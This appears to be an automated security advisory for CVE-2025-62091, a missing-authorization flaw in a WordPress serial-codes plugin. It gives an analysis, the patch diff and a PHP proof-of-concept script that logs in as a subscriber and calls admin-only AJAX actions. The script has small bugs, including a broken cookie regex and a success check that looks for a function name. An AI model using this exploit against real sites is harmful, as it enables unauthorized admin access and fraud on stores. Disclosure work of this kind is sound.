Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 20, 2026

CVE-2025-62091: Serial Codes Generator and Validator with WooCommerce Support <= 2.8.2 – Missing Authorization (serial-codes-generator-and-validator)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.8.2
Patched Version 2.8.4
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62091:
This vulnerability is a Missing Authorization flaw in the Serial Codes Generator and Validator with WooCommerce Support WordPress plugin. The vulnerability allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized administrative actions. The CVSS score of 4.3 reflects a medium severity risk.

The root cause is the missing capability check in the `executeAdminSettings` function at line 495 in the file `serial-codes-generator-and-validator/sngmbh-serial-codes-validator.php`. In the vulnerable version 2.8.2, the function `isUserAllowedToAccessAdminArea()` incorrectly returned `true` for non-administrator users. The function’s logic at line 484-485 set `$this->isAllowedAccess = true` without verifying the user’s capabilities, effectively bypassing authorization.

Exploitation requires an authenticated attacker to send a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must include the parameter `action` set to the plugin’s AJAX hook (derived from the `executeAdminSettings` function) and the parameter `a_sngmbh` to specify the administrative action to execute. Subscriber-level users can leverage this to call internal plugin functions intended only for administrators.

The patch in version 2.8.4 introduces two critical changes. First, it modifies the `isUserAllowedToAccessAdminArea()` function at line 485 to check `current_user_can(‘manage_options’)`, ensuring only administrators pass the authorization test. Second, it restructures the `executeAdminSettings` function (lines 495-512) to perform this authorization check at the function’s entry point and immediately return a 403 error on failure. The same check is also added to the `executeWCBackend` function at line 516.

Successful exploitation grants low-privileged users access to plugin administrative functions. This could lead to unauthorized generation, validation, or manipulation of serial codes, potentially disrupting e-commerce operations or enabling fraud. The impact is limited to the plugin’s functionality and does not directly provide system-level access.

Differential between vulnerable and patched code

Code Diff
--- a/serial-codes-generator-and-validator/sngmbh-serial-codes-validator.php
+++ b/serial-codes-generator-and-validator/sngmbh-serial-codes-validator.php
@@ -3,7 +3,7 @@
  * Plugin Name: Serial Codes Generator and Validator with WooCommerce Support
  * Plugin URI: https://vollstart.com/serial-codes-validator-premium/docs/
  * Description: You can create and generate serials and codes. Print them on your products boxes or manuals. Your customer can check if the code is valid on your website. The Premium allows you also to activate user registration and more. This allows your user to register them self to a serial number.
- * Version: 2.8.2
+ * Version: 2.8.4
  * Author: Vollstart
  * Author URI: https://vollstart.com
  * Text Domain: sngmbh-serial-codes-validator
@@ -20,7 +20,7 @@
 include(plugin_dir_path(__FILE__)."init_file.php");

 if (!defined('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_VERSION'))
-	define('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_VERSION', '2.8.2');
+	define('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_VERSION', '2.8.4');
 if (!defined('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_DIR_PATH'))
 	define('SNGMBH_SERIALCODES_VALIDATOR_PLUGIN_DIR_PATH', plugin_dir_path(__FILE__));

@@ -484,7 +484,8 @@
 				}
 			}
 		} else {
-			$this->isAllowedAccess = true;
+			// Standard: Nur Administratoren haben Zugriff
+			$this->isAllowedAccess = current_user_can('manage_options');
 		}
 		return $this->isAllowedAccess;
 	}
@@ -495,18 +496,19 @@
 	}

 	public function executeAdminSettings($a=0, $data=null) {
-		if ($this->isUserAllowedToAccessAdminArea()) {
-			if ($a === 0 && !SNGMBH::issetRPara('a_sngmbh')) return wp_send_json_success("a not provided");
+		if (!$this->isUserAllowedToAccessAdminArea()) {
+			return wp_send_json_error("Access denied", 403);
+		}
+		if ($a === 0 && !SNGMBH::issetRPara('a_sngmbh')) return wp_send_json_success("a not provided");

-			if ($data == null) {
-				$data = SNGMBH::issetRPara('data') ? SNGMBH::getRequestPara('data') : [];
-			}
-			if ($a === 0 || empty($a) || trim($a) == "") {
-				$a = SNGMBH::getRequestPara('a_sngmbh');
-			}
-			do_action( $this->_do_action_prefix.'executeAdminSettings', $a, $data );
-			return $this->getAdmin()->executeJSON($a, $data, false, false);
+		if ($data == null) {
+			$data = SNGMBH::issetRPara('data') ? SNGMBH::getRequestPara('data') : [];
 		}
+		if ($a === 0 || empty($a) || trim($a) == "") {
+			$a = SNGMBH::getRequestPara('a_sngmbh');
+		}
+		do_action( $this->_do_action_prefix.'executeAdminSettings', $a, $data );
+		return $this->getAdmin()->executeJSON($a, $data, false, false);
 	}

 	public function executeFrontend_a() {
@@ -514,6 +516,9 @@
 	}

 	public function executeWCBackend() {
+		if (!$this->isUserAllowedToAccessAdminArea()) {
+			return wp_send_json_error("Access denied", 403);
+		}
 		if (!SNGMBH::issetRPara('a_sngmbh')) return wp_send_json_success("a_sngmbh not provided");
 		$data = SNGMBH::issetRPara('data') ? SNGMBH::getRequestPara('data') : [];
 		return $this->getWC()->executeJSON(SNGMBH::getRequestPara('a_sngmbh'), $data, false, false);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62091 - Serial Codes Generator and Validator with WooCommerce Support <= 2.8.2 - Missing Authorization

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to obtain WordPress session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]));
$response = curl_exec($ch);
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
$cookies = implode('; ', $matches[1]);
curl_close($ch);

if (empty($cookies)) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Exploit the missing authorization to call an admin function.
// The 'action' parameter must match the plugin's registered AJAX hook for executeAdminSettings.
// The 'a_sngmbh' parameter specifies the internal administrative action to execute.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'sngmbh_execute_admin_settings', // Example AJAX hook name
    'a_sngmbh' => 'get_serial_codes_list', // Example internal admin action
    'data' => '{}' // Optional data payload
]));
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check the response
if ($http_code == 200 && strpos($response, 'wp_send_json_success') !== false) {
    echo "VULNERABLE: Successfully executed admin action as a subscriber.n";
    echo "Response snippet: " . substr($response, -500) . "n";
} else if ($http_code == 403) {
    echo "PATCHED: Access denied (HTTP 403).n";
} else {
    echo "Unexpected response. HTTP Code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School